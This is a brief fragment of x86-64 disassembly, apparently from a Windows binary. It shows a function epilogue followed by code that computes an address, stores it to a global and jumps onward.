mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + 3]
add rax, 7
add rax, rcx
mov qword [0x14000b4d0], rax
jmp 0x140014928